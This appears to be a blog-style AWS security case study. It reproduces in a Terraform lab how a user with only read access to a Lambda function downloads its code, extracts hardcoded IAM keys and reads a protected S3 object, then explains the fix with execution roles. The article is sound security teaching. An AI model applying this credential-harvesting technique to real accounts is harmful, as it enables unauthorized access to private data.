AWS security case study: Hardcoded credentials

How using the wrong IAM identity can lead to escalated permissions

Author's image
Tamás Sallai
6 mins

In this case study, we'll look into a fairly common security problem in AWS, see how it can be exploited by an attacker, and how to defend against it.

There is an S3 bucket with some objects in it. A Lambda function has access to this bucket and can read its contents. There is an attacker with read access to the Lambda function.

The target is the object in the S3 bucket. How can an attacker gain access to it with only read access to the Lambda?

There is nothing inherently wrong with this architecture. But we'll see how a small overlook introduces a bug that allows the attacker to gain read access to the bucket.

Setup the environment

If you want to follow along with this article you can deploy this scenario with Terraform. It sets up everything for you and outputs all resources/data you'll need. The CLI examples are for Linux, but I'm reasonably sure that they work on MacOS, and probably on Windows too.

To deploy the architecture, download the code from the GitHub repository, initialize with terraform init and deploy with terraform apply.

The module outputs the important bits:

  • The bucket name and the key of an object in it
  • The ARN of the Lambda function
  • The credentials for the IAM user
$ terraform output
access_key_id = "AKIAUB3O2IQ5N4JUILX3"
bucket = "terraform-20210727091221501400000001"
lambda_arn = "arn:aws:lambda:eu-central-1:278868411450:function:function-56757b8fee28409a"
secret = "secret.txt"
secret_access_key = <sensitive>

(Don't forget to clean up when you are done with terraform destroy)

To emulate an environment where you are logged in as the user, start a new shell with the credentials set:

AWS_ACCESS_KEY_ID=$(terraform output -raw access_key_id) \
	AWS_SECRET_ACCESS_KEY=$(terraform output -raw secret_access_key) \
	AWS_SESSION_TOKEN="" bash

All AWS CLI commands will be run with that user set:

$ aws sts get-caller-identity
{
	"UserId": "AIDAUB3O2IQ5MW7FXVZZK",
	"Account": "278868411450",
	"Arn": "arn:aws:iam::278868411450:user/user-56757b8fee28409a"
}

After this initial setup, let's explore!

First, let's verify that the user has no permissions to get the object:

$ aws s3api get-object \
	--bucket $(terraform output -raw bucket) \
	--key $(terraform output -raw secret) \
	>(cat)

An error occurred (AccessDenied) when calling the GetObject operation: Access Denied

But it can call the Lambda function and that can read the object. In this case, it returns the first 5 characters:

$ aws lambda invoke \
	--function-name $(terraform output -raw lambda_arn) \
	>(cat) > /dev/null
"This "

So, how can this user get the full contents of this file with only the means available to it?

If you want to solve this puzzle on your own then stop reading and come back for the solution later.

The attack

Since the user has permission to read the Lambda function, it can call the GetFunction with the function's ARN. This operation returns the configuration data for the function:

$ aws lambda get-function --function-name $(terraform output -raw lambda_arn)
{
	"Configuration": {
		"FunctionName": "function-56757b8fee28409a",
		"FunctionArn": "arn:aws:lambda:eu-central-1:278868411450:function:function-56757b8fee28409a",
		"Runtime": "nodejs14.x",
		"Role": "arn:aws:iam::278868411450:role/iam_for_lambda",
		"...",
		"Environment": {
			"Variables": {
				"BUCKET": "terraform-20210727091221501400000001",
				"KEY": "secret.txt"
			}
		},
	},
	"Code": {
		"RepositoryType": "S3",
		"Location": "https://awslambda-eu-cent-1-tasks.s3.eu-central-1.amazonaws.com/snapshots/..."
	}
}

The Environment contains the environment variables for the function. In some cases, it contains sensitive information, such as keys or passwords, but here it only gets the bucket and the object's key.

The more interesting part is the Code.Location which is a signed URL that allows downloading the current source code.

To get the code:

$ curl 'https://awslambda-eu-cent-1-tasks.s3.eu-central-1.amazonaws.com/snapshots/...' -o code.zip

This is a zip file, so unzip it next:

$ unzip code.zip

This creates a main.js file as that is the file in the Lambda handler code:

$ cat main.js 
const AWS = require("aws-sdk");
module.exports.handler = async (event, context) => {
	const accessKeyId = "AKIAUB3O2IQ5FGCK3I42";
	const secretAccessKey = "AHP7Awt...";
	AWS.config.credentials = new AWS.Credentials(accessKeyId,secretAccessKey);

	const s3 = new AWS.S3();
	const bucket = process.env.BUCKET;
	const key = process.env.KEY;
	const contents = await s3.getObject({Bucket: bucket, Key: key}).promise();
	return contents.Body.toString().substring(0, 5);
};

Notice the accessKeyId and the secretAccessKey values in the handler. The Lambda function uses these credentials to make requests to S3. This works as the AWS.config.credentials sets the AWS.Credentials object globally for all services. So when the s3.getObject runs it will sign the request using these keys.

But there is a problem here. With these keys, the user can impersonate another entity and make requests using those sets of permissions. And since these credentials give access to the bucket, we can read the bucket contents:

$ AWS_ACCESS_KEY_ID=AKIAUB3O2IQ5FGCK3I42 \
	AWS_SECRET_ACCESS_KEY=AHP7Awt... \
	aws s3api get-object \
		--bucket $(terraform output -raw bucket) \
		--key $(terraform output -raw secret) \
		>(cat) > /dev/null
This is a secret text

This is the full contents of the secret object.

Analysis

This is an example of transitive permissions. The attacker has a limited set of permissions but has access to the Lambda function's key so it has access to those permissions too.

By default, the Lambda function has no access to any resources in the account so it needs to use an IAM identity with the necessary permissions. In this case, it uses an IAM user that has read access to the bucket and the user's credentials are hardcoded in the Lambda code.

But this setup allows anybody who can read the function's code to get these credentials too, escalating their privileges. That's why it is not the recommended way to give permissions to a Lambda function.

How to fix it

The fix is to remove the credentials from the codebase. But how to give permissions to the Lambda function then?

The Lambda service supports an "execution role" that is another type of IAM identity but roles use short-term credentials instead of long-term ones.

The Lambda service automatically gets these short-term credentials for the configured role and passes them to the function when it runs. With this setup, secrets won't show up in the function configuration.

Steps to take:

  • Give the permissions to the role that is configured for the Lambda function
  • Remove all credentials from the codebase

Lessons learned

  • Read access to a Lambda functions gives access to its code
  • To give permissions to a Lambda function use a role and don't hardcode credentials
August 3, 2021
In this article